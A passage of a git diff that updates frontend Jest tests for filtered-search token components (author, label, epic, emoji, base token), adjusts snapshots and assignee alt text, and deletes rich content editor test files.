+ name: 'Administrator',
+ username: 'root',
+ avatar_url: 'avatar/url',
+ },
+];
+
function createComponent(options = {}) {
const {
config = mockAuthorToken,
value = { data: '' },
active = false,
stubs = defaultStubs,
+ data = {},
} = options;
return mount(AuthorToken, {
propsData: {
@@ -47,132 +58,172 @@ function createComponent(options = {}) {
alignSuggestions: function fakeAlignSuggestions() {},
suggestionsListClass: 'custom-class',
},
+ data() {
+ return { ...data };
+ },
stubs,
});
}
describe('AuthorToken', () => {
+ const originalGon = window.gon;
+ const currentUserLength = 1;
let mock;
let wrapper;
+ const getBaseToken = () => wrapper.findComponent(BaseToken);
+
beforeEach(() => {
mock = new MockAdapter(axios);
- wrapper = createComponent();
});
afterEach(() => {
+ window.gon = originalGon;
mock.restore();
wrapper.destroy();
});
- describe('computed', () => {
- describe('currentValue', () => {
- it('returns lowercase string for `value.data`', () => {
- wrapper = createComponent({ value: { data: 'FOO' } });
-
- expect(wrapper.vm.currentValue).toBe('foo');
+ describe('methods', () => {
+ describe('fetchAuthorBySearchTerm', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
});
- });
- describe('activeAuthor', () => {
- it('returns object for currently present `value.data`', async () => {
- wrapper = createComponent({ value: { data: mockAuthors[0].username } });
-
- wrapper.setData({
- authors: mockAuthors,
- });
+ it('calls `config.fetchAuthors` with provided searchTerm param', () => {
+ jest.spyOn(wrapper.vm.config, 'fetchAuthors');
- await wrapper.vm.$nextTick();
+ getBaseToken().vm.$emit('fetch-token-values', mockAuthors[0].username);
- expect(wrapper.vm.activeAuthor).toEqual(mockAuthors[0]);
+ expect(wrapper.vm.config.fetchAuthors).toHaveBeenCalledWith(
+ mockAuthorToken.fetchPath,
+ mockAuthors[0].username,
+ );
});
- });
- });
-
- describe('fetchAuthorBySearchTerm', () => {
- it('calls `config.fetchAuthors` with provided searchTerm param', () => {
- jest.spyOn(wrapper.vm.config, 'fetchAuthors');
-
- wrapper.vm.fetchAuthorBySearchTerm(mockAuthors[0].username);
- expect(wrapper.vm.config.fetchAuthors).toHaveBeenCalledWith(
- mockAuthorToken.fetchPath,
- mockAuthors[0].username,
- );
- });
-
- it('sets response to `authors` when request is succesful', () => {
- jest.spyOn(wrapper.vm.config, 'fetchAuthors').mockResolvedValue(mockAuthors);
+ it('sets response to `authors` when request is succesful', () => {
+ jest.spyOn(wrapper.vm.config, 'fetchAuthors').mockResolvedValue(mockAuthors);
- wrapper.vm.fetchAuthorBySearchTerm('root');
+ getBaseToken().vm.$emit('fetch-token-values', 'root');
- return waitForPromises().then(() => {
- expect(wrapper.vm.authors).toEqual(mockAuthors);
+ return waitForPromises().then(() => {
+ expect(getBaseToken().props('tokenValues')).toEqual(mockAuthors);
+ });
});
- });
- it('calls `createFlash` with flash error message when request fails', () => {
- jest.spyOn(wrapper.vm.config, 'fetchAuthors').mockRejectedValue({});
+ it('calls `createFlash` with flash error message when request fails', () => {
+ jest.spyOn(wrapper.vm.config, 'fetchAuthors').mockRejectedValue({});
- wrapper.vm.fetchAuthorBySearchTerm('root');
+ getBaseToken().vm.$emit('fetch-token-values', 'root');
- return waitForPromises().then(() => {
- expect(createFlash).toHaveBeenCalledWith('There was a problem fetching users.');
+ return waitForPromises().then(() => {
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'There was a problem fetching users.',
+ });
+ });
});
- });
- it('sets `loading` to false when request completes', () => {
- jest.spyOn(wrapper.vm.config, 'fetchAuthors').mockRejectedValue({});
+ it('sets `loading` to false when request completes', async () => {
+ jest.spyOn(wrapper.vm.config, 'fetchAuthors').mockRejectedValue({});
- wrapper.vm.fetchAuthorBySearchTerm('root');
+ getBaseToken().vm.$emit('fetch-token-values', 'root');
- return waitForPromises().then(() => {
- expect(wrapper.vm.loading).toBe(false);
+ await waitForPromises();
+
+ expect(getBaseToken().props('tokensListLoading')).toBe(false);
});
});
});
describe('template', () => {
- beforeEach(() => {
- wrapper.setData({
- authors: mockAuthors,
+ const activateTokenValuesList = async () => {
+ const tokenSegments = wrapper.findAllComponents(GlFilteredSearchTokenSegment);
+ const suggestionsSegment = tokenSegments.at(2);
+ suggestionsSegment.vm.$emit('activate');
+ await wrapper.vm.$nextTick();
+ };
+
+ it('renders base-token component', () => {
+ wrapper = createComponent({
+ value: { data: mockAuthors[0].username },
+ data: { authors: mockAuthors },
});
- return wrapper.vm.$nextTick();
- });
+ const baseTokenEl = getBaseToken();
- it('renders gl-filtered-search-token component', () => {
- expect(wrapper.find(GlFilteredSearchToken).exists()).toBe(true);
+ expect(baseTokenEl.exists()).toBe(true);
+ expect(baseTokenEl.props()).toMatchObject({
+ tokenValues: mockAuthors,
+ fnActiveTokenValue: wrapper.vm.getActiveAuthor,
+ });
});
it('renders token item when value is selected', () => {
- wrapper.setProps({
+ wrapper = createComponent({
value: { data: mockAuthors[0].username },
+ data: { authors: mockAuthors },
+ stubs: { Portal: true },
});
return wrapper.vm.$nextTick(() => {
const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
expect(tokenSegments).toHaveLength(3); // Author, =, "Administrator"
- expect(tokenSegments.at(2).text()).toBe(mockAuthors[0].name); // "Administrator"
+
+ const tokenValue = tokenSegments.at(2);
+
+ expect(tokenValue.findComponent(GlAvatar).props('src')).toBe(mockAuthors[0].avatar_url);
+ expect(tokenValue.text()).toBe(mockAuthors[0].name); // "Administrator"
});
});
+ it('renders token value with correct avatarUrl from author object', async () => {
+ const getAvatarEl = () =>
+ wrapper.findAll(GlFilteredSearchTokenSegment).at(2).findComponent(GlAvatar);
+
+ wrapper = createComponent({
+ value: { data: mockAuthors[0].username },
+ data: {
+ authors: [
+ {
+ ...mockAuthors[0],
+ },
+ ],
+ },
+ stubs: { Portal: true },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(getAvatarEl().props('src')).toBe(mockAuthors[0].avatar_url);
+
+ wrapper.setData({
+ authors: [
+ {
+ ...mockAuthors[0],
+ avatarUrl: mockAuthors[0].avatar_url,
+ avatar_url: undefined,
+ },
+ ],
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(getAvatarEl().props('src')).toBe(mockAuthors[0].avatar_url);
+ });
+
it('renders provided defaultAuthors as suggestions', async () => {
const defaultAuthors = DEFAULT_NONE_ANY;
wrapper = createComponent({
active: true,
- config: { ...mockAuthorToken, defaultAuthors },
+ config: { ...mockAuthorToken, defaultAuthors, preloadedAuthors: mockPreloadedAuthors },
stubs: { Portal: true },
});
- const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
- const suggestionsSegment = tokenSegments.at(2);
- suggestionsSegment.vm.$emit('activate');
- await wrapper.vm.$nextTick();
+
+ await activateTokenValuesList();
const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
- expect(suggestions).toHaveLength(defaultAuthors.length);
+ expect(suggestions).toHaveLength(defaultAuthors.length + currentUserLength);
defaultAuthors.forEach((label, index) => {
expect(suggestions.at(index).text()).toBe(label.text);
});
@@ -189,25 +240,42 @@ describe('AuthorToken', () => {
suggestionsSegment.vm.$emit('activate');
await wrapper.vm.$nextTick();
- expect(wrapper.find(GlFilteredSearchSuggestion).exists()).toBe(false);
expect(wrapper.find(GlDropdownDivider).exists()).toBe(false);
});
it('renders `DEFAULT_LABEL_ANY` as default suggestions', async () => {
wrapper = createComponent({
active: true,
- config: { ...mockAuthorToken },
+ config: { ...mockAuthorToken, preloadedAuthors: mockPreloadedAuthors },
stubs: { Portal: true },
});
- const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
- const suggestionsSegment = tokenSegments.at(2);
- suggestionsSegment.vm.$emit('activate');
- await wrapper.vm.$nextTick();
+
+ await activateTokenValuesList();
const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
- expect(suggestions).toHaveLength(1);
+ expect(suggestions).toHaveLength(1 + currentUserLength);
expect(suggestions.at(0).text()).toBe(DEFAULT_LABEL_ANY.text);
});
+
+ describe('when loading', () => {
+ beforeEach(() => {
+ wrapper = createComponent({
+ active: true,
+ config: {
+ ...mockAuthorToken,
+ preloadedAuthors: mockPreloadedAuthors,
+ defaultAuthors: [],
+ },
+ stubs: { Portal: true },
+ });
+ });
+
+ it('shows current user', () => {
+ const firstSuggestion = wrapper.findComponent(GlFilteredSearchSuggestion).text();
+ expect(firstSuggestion).toContain('Administrator');
+ expect(firstSuggestion).toContain('@root');
+ });
+ });
});
});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js
index 0db47f1f189..602864f4fa5 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js
@@ -175,6 +175,23 @@ describe('BaseToken', () => {
expect(setTokenValueToRecentlyUsed).toHaveBeenCalledWith(mockStorageKey, mockTokenValue);
});
+
+ it('does not add token from preloadedTokenValues', async () => {
+ const mockTokenValue = {
+ id: 1,
+ title: 'Foo',
+ };
+
+ wrapper.setProps({
+ preloadedTokenValues: [mockTokenValue],
+ });
+
+ await wrapper.vm.$nextTick();
+
+ wrapper.vm.handleTokenValueSelected(mockTokenValue);
+
+ expect(setTokenValueToRecentlyUsed).not.toHaveBeenCalled();
+ });
});
});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/emoji_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/emoji_token_spec.js
index fb48aea8e4f..778a214f97e 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/emoji_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/emoji_token_spec.js
@@ -7,7 +7,7 @@ import {
import { mount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import waitForPromises from 'helpers/wait_for_promises';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import {
@@ -121,7 +121,9 @@ describe('EmojiToken', () => {
wrapper.vm.fetchEmojiBySearchTerm('foo');
return waitForPromises().then(() => {
- expect(createFlash).toHaveBeenCalledWith('There was a problem fetching emojis.');
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'There was a problem fetching emojis.',
+ });
});
});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/epic_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/epic_token_spec.js
index addc058f658..68ed46fc3a2 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/epic_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/epic_token_spec.js
@@ -67,18 +67,6 @@ describe('EpicToken', () => {
await wrapper.vm.$nextTick();
});
-
- describe('activeEpic', () => {
- it('returns object for currently present `value.data`', async () => {
- wrapper.setProps({
- value: { data: `${mockEpics[0].iid}` },
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.activeEpic).toEqual(mockEpics[0]);
- });
- });
});
describe('methods', () => {
@@ -86,9 +74,12 @@ describe('EpicToken', () => {
it('calls `config.fetchEpics` with provided searchTerm param', () => {
jest.spyOn(wrapper.vm.config, 'fetchEpics');
- wrapper.vm.fetchEpicsBySearchTerm('foo');
+ wrapper.vm.fetchEpicsBySearchTerm({ search: 'foo' });
- expect(wrapper.vm.config.fetchEpics).toHaveBeenCalledWith('foo');
+ expect(wrapper.vm.config.fetchEpics).toHaveBeenCalledWith({
+ epicPath: '',
+ search: 'foo',
+ });
});
it('sets response to `epics` when request is successful', async () => {
@@ -96,7 +87,7 @@ describe('EpicToken', () => {
data: mockEpics,
});
- wrapper.vm.fetchEpicsBySearchTerm();
+ wrapper.vm.fetchEpicsBySearchTerm({});
await waitForPromises();
@@ -106,7 +97,7 @@ describe('EpicToken', () => {
it('calls `createFlash` with flash error message when request fails', async () => {
jest.spyOn(wrapper.vm.config, 'fetchEpics').mockRejectedValue({});
- wrapper.vm.fetchEpicsBySearchTerm('foo');
+ wrapper.vm.fetchEpicsBySearchTerm({ search: 'foo' });
await waitForPromises();
@@ -118,7 +109,7 @@ describe('EpicToken', () => {
it('sets `loading` to false when request completes', async () => {
jest.spyOn(wrapper.vm.config, 'fetchEpics').mockRejectedValue({});
- wrapper.vm.fetchEpicsBySearchTerm('foo');
+ wrapper.vm.fetchEpicsBySearchTerm({ search: 'foo' });
await waitForPromises();
@@ -128,9 +119,11 @@ describe('EpicToken', () => {
});
describe('template', () => {
+ const getTokenValueEl = () => wrapper.findAllComponents(GlFilteredSearchTokenSegment).at(2);
+
beforeEach(async () => {
wrapper = createComponent({
- value: { data: `${mockEpics[0].iid}` },
+ value: { data: `${mockEpics[0].group_full_path}::&${mockEpics[0].iid}` },
data: { epics: mockEpics },
});
@@ -147,5 +140,19 @@ describe('EpicToken', () => {
expect(tokenSegments).toHaveLength(3);
expect(tokenSegments.at(2).text()).toBe(`${mockEpics[0].title}::&${mockEpics[0].iid}`);
});
+
+ it.each`
+ value | valueType | tokenValueString
+ ${`${mockEpics[0].group_full_path}::&${mockEpics[0].iid}`} | ${'string'} | ${`${mockEpics[0].title}::&${mockEpics[0].iid}`}
+ ${`${mockEpics[1].group_full_path}::&${mockEpics[1].iid}`} | ${'number'} | ${`${mockEpics[1].title}::&${mockEpics[1].iid}`}
+ `('renders token item when selection is a $valueType', async ({ value, tokenValueString }) => {
+ wrapper.setProps({
+ value: { data: value },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(getTokenValueEl().text()).toBe(tokenValueString);
+ });
});
});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js
index 57514a0c499..dd1c61b92b8 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js
@@ -1,5 +1,4 @@
import {
- GlFilteredSearchToken,
GlFilteredSearchSuggestion,
GlFilteredSearchTokenSegment,
GlDropdownDivider,
@@ -11,13 +10,14 @@ import {
mockRegularLabel,
mockLabels,
} from 'jest/vue_shared/components/sidebar/labels_select_vue/mock_data';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import {
DEFAULT_LABELS,
DEFAULT_NONE_ANY,
} from '~/vue_shared/components/filtered_search_bar/constants';
+import BaseToken from '~/vue_shared/components/filtered_search_bar/tokens/base_token.vue';
import LabelToken from '~/vue_shared/components/filtered_search_bar/tokens/label_token.vue';
import { mockLabelToken } from '../mock_data';
@@ -25,6 +25,7 @@ import { mockLabelToken } from '../mock_data';
jest.mock('~/flash');
const defaultStubs = {
Portal: true,
+ BaseToken,
GlFilteredSearchSuggestionList: {
template: '<div></div>',
methods: {
@@ -68,55 +69,17 @@ describe('LabelToken', () => {
wrapper.destroy();
});
- describe('computed', () => {
- beforeEach(async () => {
- // Label title with spaces is always enclosed in quotations by component.
- wrapper = createComponent({ value: { data: `"${mockRegularLabel.title}"` } });
-
- wrapper.setData({
- labels: mockLabels,
- });
-
- await wrapper.vm.$nextTick();
- });
-
- describe('currentValue', () => {
- it('returns lowercase string for `value.data`', () => {
- expect(wrapper.vm.currentValue).toBe('"foo label"');
- });
- });
-
- describe('activeLabel', () => {
- it('returns object for currently present `value.data`', () => {
- expect(wrapper.vm.activeLabel).toEqual(mockRegularLabel);
- });
- });
-
- describe('containerStyle', () => {
- it('returns object containing `backgroundColor` and `color` properties based on `activeLabel` value', () => {
- expect(wrapper.vm.containerStyle).toEqual({
- backgroundColor: mockRegularLabel.color,
- color: mockRegularLabel.textColor,
- });
- });
-
- it('returns empty object when `activeLabel` is not set', async () => {
- wrapper.setData({
- labels: [],
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.containerStyle).toEqual({});
- });
- });
- });
-
describe('methods', () => {
beforeEach(() => {
wrapper = createComponent();
});
+ describe('getActiveLabel', () => {
+ it('returns label object from labels array based on provided `currentValue` param', () => {
+ expect(wrapper.vm.getActiveLabel(mockLabels, 'foo label')).toEqual(mockRegularLabel);
+ });
+ });
+
describe('getLabelName', () => {
it('returns value of `name` or `title` property present in provided label param', () => {
let mockLabel = {
@@ -158,7 +121,9 @@ describe('LabelToken', () => {
wrapper.vm.fetchLabelBySearchTerm('foo');
return waitForPromises().then(() => {
- expect(createFlash).toHaveBeenCalledWith('There was a problem fetching labels.');
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'There was a problem fetching labels.',
+ });
});
});
@@ -187,8 +152,14 @@ describe('LabelToken', () => {
await wrapper.vm.$nextTick();
});
- it('renders gl-filtered-search-token component', () => {
- expect(wrapper.find(GlFilteredSearchToken).exists()).toBe(true);
+ it('renders base-token component', () => {
+ const baseTokenEl = wrapper.find(BaseToken);
+
+ expect(baseTokenEl.exists()).toBe(true);
+ expect(baseTokenEl.props()).toMatchObject({
+ tokenValues: mockLabels,
+ fnActiveTokenValue: wrapper.vm.getActiveLabel,
+ });
});
it('renders token item when value is selected', () => {
diff --git a/spec/frontend/vue_shared/components/form/__snapshots__/title_spec.js.snap b/spec/frontend/vue_shared/components/form/__snapshots__/title_spec.js.snap
index e5035614196..ff1dad2de68 100644
--- a/spec/frontend/vue_shared/components/form/__snapshots__/title_spec.js.snap
+++ b/spec/frontend/vue_shared/components/form/__snapshots__/title_spec.js.snap
@@ -4,6 +4,7 @@ exports[`Title edit field matches the snapshot 1`] = `
<gl-form-group-stub
label="Title"
label-for="title-field-edit"
+ labeldescription=""
>
<gl-form-input-stub />
</gl-form-group-stub>
diff --git a/spec/frontend/vue_shared/components/issue/issue_assignees_spec.js b/spec/frontend/vue_shared/components/issue/issue_assignees_spec.js
index 5c29c267c99..2658fa4a706 100644
--- a/spec/frontend/vue_shared/components/issue/issue_assignees_spec.js
+++ b/spec/frontend/vue_shared/components/issue/issue_assignees_spec.js
@@ -91,7 +91,7 @@ describe('IssueAssigneesComponent', () => {
});
it('computes alt text for assignee avatar', () => {
- expect(vm.avatarUrlTitle(mockAssigneesList[0])).toBe('Avatar for Terrell Graham');
+ expect(vm.avatarUrlTitle(mockAssigneesList[0])).toBe('Assigned to Terrell Graham');
});
it('renders component root element with class `issue-assignees`', () => {
@@ -106,7 +106,7 @@ describe('IssueAssigneesComponent', () => {
const expected = mockAssigneesList.slice(0, TEST_MAX_VISIBLE - 1).map((x) =>
expect.objectContaining({
linkHref: x.web_url,
- imgAlt: `Avatar for ${x.name}`,
+ imgAlt: `Assigned to ${x.name}`,
imgCssClasses: TEST_CSS_CLASSES,
imgSrc: x.avatar_url,
imgSize: TEST_ICON_SIZE,
diff --git a/spec/frontend/vue_shared/components/registry/__snapshots__/code_instruction_spec.js.snap b/spec/frontend/vue_shared/components/registry/__snapshots__/code_instruction_spec.js.snap
index 30b7f0c2d28..23cf6ef9785 100644
--- a/spec/frontend/vue_shared/components/registry/__snapshots__/code_instruction_spec.js.snap
+++ b/spec/frontend/vue_shared/components/registry/__snapshots__/code_instruction_spec.js.snap
@@ -59,6 +59,7 @@ exports[`Package code instruction single line to match the default snapshot 1`]
aria-hidden="true"
class="gl-button-icon gl-icon s16"
data-testid="copy-to-clipboard-icon"
+ role="img"
>
<use
href="#copy-to-clipboard"
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/editor_service_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/editor_service_spec.js
deleted file mode 100644
index ce2b0d1ddc1..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/editor_service_spec.js
+++ /dev/null
@@ -1,214 +0,0 @@
-import buildCustomRenderer from '~/vue_shared/components/rich_content_editor/services/build_custom_renderer';
-import buildHTMLToMarkdownRenderer from '~/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer';
-import {
- generateToolbarItem,
- addCustomEventListener,
- removeCustomEventListener,
- registerHTMLToMarkdownRenderer,
- addImage,
- insertVideo,
- getMarkdown,
- getEditorOptions,
-} from '~/vue_shared/components/rich_content_editor/services/editor_service';
-import sanitizeHTML from '~/vue_shared/components/rich_content_editor/services/sanitize_html';
-
-jest.mock('~/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer');
-jest.mock('~/vue_shared/components/rich_content_editor/services/build_custom_renderer');
-jest.mock('~/vue_shared/components/rich_content_editor/services/sanitize_html');
-
-describe('Editor Service', () => {
- let mockInstance;
- let event;
- let handler;
- const parseHtml = (str) => {
- const wrapper = document.createElement('div');
- wrapper.innerHTML = str;
- return wrapper.firstChild;
- };
-
- beforeEach(() => {
- mockInstance = {
- eventManager: { addEventType: jest.fn(), removeEventHandler: jest.fn(), listen: jest.fn() },
- editor: {
- exec: jest.fn(),
- isWysiwygMode: jest.fn(),
- getSquire: jest.fn(),
- insertText: jest.fn(),
- },
- invoke: jest.fn(),
- toMarkOptions: {
- renderer: {
- constructor: {
- factory: jest.fn(),
- },
- },
- },
- };
- event = 'someCustomEvent';
- handler = jest.fn();
- });
-
- describe('generateToolbarItem', () => {
- const config = {
- icon: 'bold',
- command: 'some-command',
- tooltip: 'Some Tooltip',
- event: 'some-event',
- };
-
- const generatedItem = generateToolbarItem(config);
-
- it('generates the correct command', () => {
- expect(generatedItem.options.command).toBe(config.command);
- });
-
- it('generates the correct event', () => {
- expect(generatedItem.options.event).toBe(config.event);
- });
-
- it('generates a divider when isDivider is set to true', () => {
- const isDivider = true;
-
- expect(generateToolbarItem({ isDivider })).toBe('divider');
- });
- });
-
- describe('addCustomEventListener', () => {
- it('registers an event type on the instance and adds an event handler', () => {
- addCustomEventListener(mockInstance, event, handler);
-
- expect(mockInstance.eventManager.addEventType).toHaveBeenCalledWith(event);
- expect(mockInstance.eventManager.listen).toHaveBeenCalledWith(event, handler);
- });
- });
-
- describe('removeCustomEventListener', () => {
- it('removes an event handler from the instance', () => {
- removeCustomEventListener(mockInstance, event, handler);
-
- expect(mockInstance.eventManager.removeEventHandler).toHaveBeenCalledWith(event, handler);
- });
- });
-
- describe('addImage', () => {
- const file = new File([], 'some-file.jpg');
- const mockImage = { imageUrl: 'some/url.png', altText: 'some alt text' };
-
- it('calls the insertElement method on the squire instance when in WYSIWYG mode', () => {
- jest.spyOn(URL, 'createObjectURL');
- mockInstance.editor.isWysiwygMode.mockReturnValue(true);
- mockInstance.editor.getSquire.mockReturnValue({ insertElement: jest.fn() });
-
- addImage(mockInstance, mockImage, file);
-
- expect(mockInstance.editor.getSquire().insertElement).toHaveBeenCalled();
- expect(global.URL.createObjectURL).toHaveBeenLastCalledWith(file);
- });
-
- it('calls the insertText method on the instance when in Markdown mode', () => {
- mockInstance.editor.isWysiwygMode.mockReturnValue(false);
- addImage(mockInstance, mockImage, file);
-
- expect(mockInstance.editor.insertText).toHaveBeenCalledWith('![some alt text](some/url.png)');
- });
- });
-
- describe('insertVideo', () => {
- const mockUrl = 'some/url';
- const htmlString = `<figure contenteditable="false" class="gl-relative gl-h-0 video_container"><iframe class="gl-absolute gl-top-0 gl-left-0 gl-w-full gl-h-full" width="560" height="315" frameborder="0" src="some/url"></iframe></figure>`;
- const mockInsertElement = jest.fn();
-
- beforeEach(() =>
- mockInstance.editor.getSquire.mockReturnValue({ insertElement: mockInsertElement }),
- );
-
- describe('WYSIWYG mode', () => {
- it('calls the insertElement method on the squire instance with an iFrame element', () => {
- mockInstance.editor.isWysiwygMode.mockReturnValue(true);
-
- insertVideo(mockInstance, mockUrl);
-
- expect(mockInstance.editor.getSquire().insertElement).toHaveBeenCalledWith(
- parseHtml(htmlString),
- );
- });
- });
-
- describe('Markdown mode', () => {
- it('calls the insertText method on the editor instance with the iFrame element HTML', () => {
- mockInstance.editor.isWysiwygMode.mockReturnValue(false);
-
- insertVideo(mockInstance, mockUrl);
-
- expect(mockInstance.editor.insertText).toHaveBeenCalledWith(htmlString);
- });
- });
- });
-
- describe('getMarkdown', () => {
- it('calls the invoke method on the instance', () => {
- getMarkdown(mockInstance);
-
- expect(mockInstance.invoke).toHaveBeenCalledWith('getMarkdown');
- });
- });
-
- describe('registerHTMLToMarkdownRenderer', () => {
- let baseRenderer;
- const htmlToMarkdownRenderer = {};
- const extendedRenderer = {};
-
- beforeEach(() => {
- baseRenderer = mockInstance.toMarkOptions.renderer;
- buildHTMLToMarkdownRenderer.mockReturnValueOnce(htmlToMarkdownRenderer);
- baseRenderer.constructor.factory.mockReturnValueOnce(extendedRenderer);
-
- registerHTMLToMarkdownRenderer(mockInstance);
- });
-
- it('builds a new instance of the HTML to Markdown renderer', () => {
- expect(buildHTMLToMarkdownRenderer).toHaveBeenCalledWith(baseRenderer);
- });
-
- it('extends base renderer with the HTML to Markdown renderer', () => {
- expect(baseRenderer.constructor.factory).toHaveBeenCalledWith(
- baseRenderer,
- htmlToMarkdownRenderer,
- );
- });
-
- it('replaces the default renderer with extended renderer', () => {
- expect(mockInstance.toMarkOptions.renderer).toBe(extendedRenderer);
- });
- });
-
- describe('getEditorOptions', () => {
- const externalOptions = {
- customRenderers: {},
- };
- const renderer = {};
-
- beforeEach(() => {
- buildCustomRenderer.mockReturnValueOnce(renderer);
- });
-
- it('generates a configuration object with a custom HTML renderer and toolbarItems', () => {
- expect(getEditorOptions()).toHaveProp('customHTMLRenderer', renderer);
- expect(getEditorOptions()).toHaveProp('toolbarItems');
- });
-
- it('passes external renderers to the buildCustomRenderers function', () => {
- getEditorOptions(externalOptions);
- expect(buildCustomRenderer).toHaveBeenCalledWith(externalOptions.customRenderers);
- });
-
- it('uses the internal sanitizeHTML service for HTML sanitization', () => {
- const options = getEditorOptions();
- const html = '<div></div>';
-
- options.customHTMLSanitizer(html);
-
- expect(sanitizeHTML).toHaveBeenCalledWith(html);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/modals/add_image/add_image_modal_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/modals/add_image/add_image_modal_spec.js
deleted file mode 100644
index 97aecda97d2..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/modals/add_image/add_image_modal_spec.js
+++ /dev/null
@@ -1,73 +0,0 @@
-import { GlModal, GlTabs } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import { IMAGE_TABS } from '~/vue_shared/components/rich_content_editor/constants';
-import AddImageModal from '~/vue_shared/components/rich_content_editor/modals/add_image/add_image_modal.vue';
-import UploadImageTab from '~/vue_shared/components/rich_content_editor/modals/add_image/upload_image_tab.vue';
-
-describe('Add Image Modal', () => {
- let wrapper;
- const propsData = { imageRoot: 'path/to/root/' };
-
- const findModal = () => wrapper.find(GlModal);
- const findTabs = () => wrapper.find(GlTabs);
- const findUploadImageTab = () => wrapper.find(UploadImageTab);
- const findUrlInput = () => wrapper.find({ ref: 'urlInput' });
- const findDescriptionInput = () => wrapper.find({ ref: 'descriptionInput' });
-
- beforeEach(() => {
- wrapper = shallowMount(AddImageModal, { propsData });
- });
-
- describe('when content is loaded', () => {
- it('renders a modal component', () => {
- expect(findModal().exists()).toBe(true);
- });
-
- it('renders a Tabs component', () => {
- expect(findTabs().exists()).toBe(true);
- });
-
- it('renders an upload image tab', () => {
- expect(findUploadImageTab().exists()).toBe(true);
- });
-
- it('renders an input to add an image URL', () => {
- expect(findUrlInput().exists()).toBe(true);
- });
-
- it('renders an input to add an image description', () => {
- expect(findDescriptionInput().exists()).toBe(true);
- });
- });
-
- describe('add image', () => {
- describe('Upload', () => {
- it('validates the file', () => {
- const preventDefault = jest.fn();
- const description = 'some description';
- const file = { name: 'some_file.png' };
-
- wrapper.vm.$refs.uploadImageTab = { validateFile: jest.fn() };
- wrapper.setData({ file, description, tabIndex: IMAGE_TABS.UPLOAD_TAB });
-
- findModal().vm.$emit('ok', { preventDefault });
-
- expect(wrapper.vm.$refs.uploadImageTab.validateFile).toHaveBeenCalled();
- });
- });
-
- describe('URL', () => {
- it('emits an addImage event when a valid URL is specified', () => {
- const preventDefault = jest.fn();
- const mockImage = { imageUrl: '/some/valid/url.png', description: 'some description' };
- wrapper.setData({ ...mockImage, tabIndex: IMAGE_TABS.URL_TAB });
-
- findModal().vm.$emit('ok', { preventDefault });
- expect(preventDefault).not.toHaveBeenCalled();
- expect(wrapper.emitted('addImage')).toEqual([
- [{ imageUrl: mockImage.imageUrl, altText: mockImage.description }],
- ]);
- });
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/modals/add_image/upload_image_tab_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/modals/add_image/upload_image_tab_spec.js
deleted file mode 100644
index 81fd059ce4f..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/modals/add_image/upload_image_tab_spec.js
+++ /dev/null
@@ -1,41 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import UploadImageTab from '~/vue_shared/components/rich_content_editor/modals/add_image/upload_image_tab.vue';
-
-describe('Upload Image Tab', () => {
- let wrapper;
-
- beforeEach(() => {
- wrapper = shallowMount(UploadImageTab);
- });
-
- afterEach(() => wrapper.destroy());
-
- const triggerInputEvent = (size) => {
- const file = { size, name: 'file-name.png' };
- const mockEvent = new Event('input');
-
- Object.defineProperty(mockEvent, 'target', { value: { files: [file] } });
-
- wrapper.find({ ref: 'fileInput' }).element.dispatchEvent(mockEvent);
-
- return file;
- };
-
- describe('onInput', () => {
- it.each`
- size | fileError
- ${2000000000} | ${'Maximum file size is 2MB. Please select a smaller file.'}
- ${200} | ${null}
- `('validates the file correctly', ({ size, fileError }) => {
- triggerInputEvent(size);
-
- expect(wrapper.vm.fileError).toBe(fileError);
- });
- });
-
- it('emits input event when file is valid', () => {
- const file = triggerInputEvent(200);
-
- expect(wrapper.emitted('input')).toEqual([[file]]);
